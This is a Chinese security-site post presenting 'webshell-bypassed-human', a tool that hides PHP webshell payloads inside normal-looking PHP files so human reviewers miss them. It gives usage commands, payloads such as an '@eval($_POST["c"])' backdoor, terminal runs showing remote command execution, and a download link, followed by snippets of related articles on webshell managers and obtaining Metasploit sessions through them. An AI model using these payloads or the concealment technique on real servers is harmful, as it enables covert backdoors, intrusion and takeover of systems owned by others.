webshell生成(绕过)工具 -- webshell-bypassed-human

VSole2022-07-19 06:24:26

一、过人 webshell 的生成工具

» python hide_webshell.py
usage: hide_webshell.py [-h] -pf PAYLOAD_FILE [--pro] [-wf WEBSHELL_FILE]
                        [--debug]
                        php
hide_webshell.py: error: the following arguments are required: php, -pf/--payload_file

将 payload 放在 -pf 所指定的路径

二、hide webshell

python hide_webshell.py hide_webshell.py normal.php -pf payload.txt

三、hide webshell pro

python hide_webshell.py normal_pro.php -pf payload.txt --pro

四、payload 示例

system("echo \"hacked by Tr0y :)\"");
@eval($_POST["c"]);

五、完整示例

# macr0phag3 in ~/Tr0y/webshell-bypassed-human on git:master ✖︎ [14:45:27]
» cat payload.txt
system("echo \"hacked by Tr0y :)\"");%
# macr0phag3 in ~/Tr0y/webshell-bypassed-human on git:master ✖︎ [14:45:28]
» p hide_webshell.py normal.php -pf payload.txt && php webshell_hidden.php
[+] Hide webshell in normal mode
  [-] Get payload from payload.txt
      Payload is system("echo \"hacked by Tr0y :)\"");
  [-] Get php code from normal.php
[!] Saved webshell as webshell_hidden.php
[!] All done
Bye :)
hacked by Tr0y :)
# macr0phag3 in ~/Tr0y/webshell-bypassed-human on git:master ✖︎ [14:45:31]
» p hide_webshell.py normal_pro.php -pf payload.txt --pro && php webshell_hidden.php
[+] Hide webshell in pro mode
  [-] Get payload from payload.txt
      Payload is system("echo \"hacked by Tr0y :)\"");
  [-] Get php code from normal_pro.php
[!] Saved webshell as webshell_hidden.php
[!] All done
Bye :)
hacked by Tr0y :)
# macr0phag3 in ~/Tr0y/webshell-bypassed-human on git:master ✖︎ [14:48:23]
» cat payload.txt
@eval($_POST["c"]);%
# macr0phag3 in ~/Tr0y/webshell-bypassed-human on git:master ✖︎ [14:48:24]
» p hide_webshell.py normal.php -pf payload.txt && php -r '$_POST["c"]="system(\"id\");"; require("webshell_hidden.php");'
[+] Hide webshell in normal mode
  [-] Get payload from payload.txt
      Payload is @eval($_POST["c"]);
  [-] Get php code from normal.php
[!] Saved webshell as webshell_hidden.php
[!] All done
Bye :)
uid=502(macr0phag3) gid=20(staff) groups=20(staff),12(everyone), ...此处省略
# macr0phag3 in ~/Tr0y/webshell-bypassed-human on git:master ✖︎ [14:48:26]
» p hide_webshell.py normal_pro.php -pf payload.txt --pro && php -r '$_POST["c"]="system(\"id\");"; require("webshell_hidden.php");'
[+] Hide webshell in pro mode
  [-] Get payload from payload.txt
      Payload is @eval($_POST["c"]);
  [-] Get php code from normal_pro.php
[!] Saved webshell as webshell_hidden.php
[!] All done
Bye :)
uid=502(macr0phag3) gid=20(staff) groups=20(staff),12(everyone), ...此处省略

六、下载地址

https://github.com/Macr0phag3/webshell-bypassed-human

payloadwebshell
本作品采用《CC 协议》,转载必须注明作者和本文链接
Webshell检测方法
2022-01-04 10:33:05
Webshell作为一种web后门,通常由攻击者通过常见的Web网站漏洞,如sql注入、文件包含和上传等,上传到服务器,从而为攻击者提供与服务器端进行交互的能力。
工具短小精悍,生成的webshell能够过常见杀软,尽量减少了连接后交互的流量特征,具体payload发送方式均可自定义。由于个人精力有限,服务端暂时仅支持Java。
payload 放在 -pf 所指定的路径二、hide webshellpython hide_webshell.py hide_webshell.py normal.php -pf payload.txt. uid=502 gid=20 groups=20,12, ...此处省略
利用场景仅支持ASP,WScript.Shell、Shell.Application组件被卸载;又或者支持ASP.NET,但是存在有某些安全防护软件,在这两种场景下可能无法执行命令、上线和提权等。0x01 中国菜刀中国菜刀中并没有直接上线和shellcode加载功能,但是有一个自定义代码执行,我们可以利用这个功能来获取MSF会话。选择对应Webshell -> As-Exploits -> 执行自定义Payload -> 执行ASP脚本上线。
Webshell简介webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,主要用于网站管理、服务器管理、权限管理等操作。它的流量特征十分明显,现如今的安全设备基本上都可以识别到菜刀的流量。现在的菜刀基本都是在安全教学中使用。
0x00 前言常见webshell管理工具的分析记录,着重在流量侧。0x01 caidao1、配置使用菜刀是一款专业的网站管理软件,用途广泛,使用方便,小巧实用。支持动态脚本[如php/jsp/aspx/asp]的网站!新版antSword的ua也做了随机变换。在内置的rot13编码和解码器下,数据会通过随机变量传递给str_rot13函数,通过变换还原后再交给eval函数执行。
主流webshell工具流量分析
VSole
网络安全专家